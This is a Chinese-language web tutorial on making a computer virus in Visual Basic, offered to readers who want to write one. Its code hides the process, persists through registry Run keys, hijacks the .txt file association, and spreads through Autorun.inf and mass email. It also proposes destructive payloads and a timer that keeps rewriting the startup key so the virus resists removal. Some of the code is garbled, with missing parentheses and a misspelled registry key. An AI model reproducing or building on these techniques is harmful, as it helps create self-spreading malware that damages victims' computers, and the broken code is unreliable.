电脑病毒制作方法
朋友们想做一些小的电脑病毒吗,对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。 下面由我给你对电脑病毒做出详细的制作方法!希望对你有帮助!
方法如下:
病毒一般都具有传播、隐 藏、破坏等能力。所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程式,也是由人写出来的。所以,病毒并不是什么 高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。
首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么执行绪插入技术。我们要实行自我隐藏,就要用到API函式。其程式码如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" ByVal dwProcessID As Long, ByVal dwType As Long
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid
regserv = RegisterServiceProcesspid, RSP_SIMPLE_SERVICE
End Sub
这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。
病毒光会隐藏还不行,还要有常驻记忆体的能力。说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。所以,我们接下来的任务就是:实现病毒的开机自启。
了解病毒的朋友会知道,病毒一般是利用在登录档中插入相应键值来实现开机自启的。所以,我们就要利用程式设计来实现著一功能。读写登录档要用到API函式,程式码:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" ByVal hKey As Long As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long As Long
上述是API宣告。病毒的开机自启就是在RUN下建立一个启动项,程式码:
Dim hKey As Long
Dim cc
Let cc = Len"病毒的绝对路径"
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey
RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc
RegCloseKey hKey
以上程式码执行后会在登录档中加入一个病毒的启动项。
光利用开机自启来长驻记忆体也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。
第一种。修改文字档案的关联。其程式码如下:
API宣告:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
实现程式码:
Dim sKeyName As String '储存键名
Dim sKeyValue As String '储存键值
Dim MyReturn As Long '储存返回值资讯
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&
MsgBox MyReturn&
sKeyName = ".txt" '要建立关联的档案字尾名
sKeyValue = "Test"
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&
sKeyName = "Test"
sKeyValue = "D:\\病毒.exe %1" '自己程式的位置和名称
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "shell\open\mand", REG_SZ, sKeyValue, MAX_PATH
End Sub
以上是利用修改TXT档案关联来实现病毒启动的。
第二种,利用Autorun.inf
光碟就是利用这个来自动播放的,所以我就不废话了。
实现程式码:
If Dir"F:\" <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"
FileCopy a, "C:\病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
这样就实现了双击C盘启动病毒的作用。
下面说一下病毒的传播,病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播,远端溢位等。
远端溢位这里不做详解。第一是我不太熟练,只会用,不会说。第二是要讲清楚很麻烦。所以,我讲一下电子邮件传播。
首先,建立一个WINSOCKE。然后利用程式设计来实现。这里只说思路。
ConnectToServer Server, Winsock1 ‘这是向伺服器建立连线
SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘传送邮件
FromAddress 发件人地址
ToAddress 收件人地址
Subject 邮件标题
Body 邮件内容
Attach 附件地址
利用这样的原理来群发,可以达到传播自己的目的。
还有一种就是U盘/A盘传播,原理上面已经说过。利用Autorun.inf档案,这里就不废话了。
说了这么多,还剩最后一点,那就是破坏性。这个就不详细阐述。什么自动关机,无限增殖。大家自己发挥想象,这不是很难的事。
最后总结,一个什么样的病毒,它必须生活在特定的作业系统下。所以,病毒做出来后,不一定能在什么作业系统下都能用。还有一点,病毒必须能自己保护自己。 这里推荐使用TIMER。利用这个部件来不断的写登录档。这样,很难删掉病毒的启动键值。还要保护自身的增殖档案。比如:
Let a = App.Path + "\" + App.EXEName + ".exe"
If Dir"C:\Program Files\病毒.exe" <> "" Then
Else: FileCopy a, "C:\Program Files\病毒.exe"
最后,还有最重要的一点。那就是容错语句。尽量多加。以防万一。 此文电脑病毒制作的人还: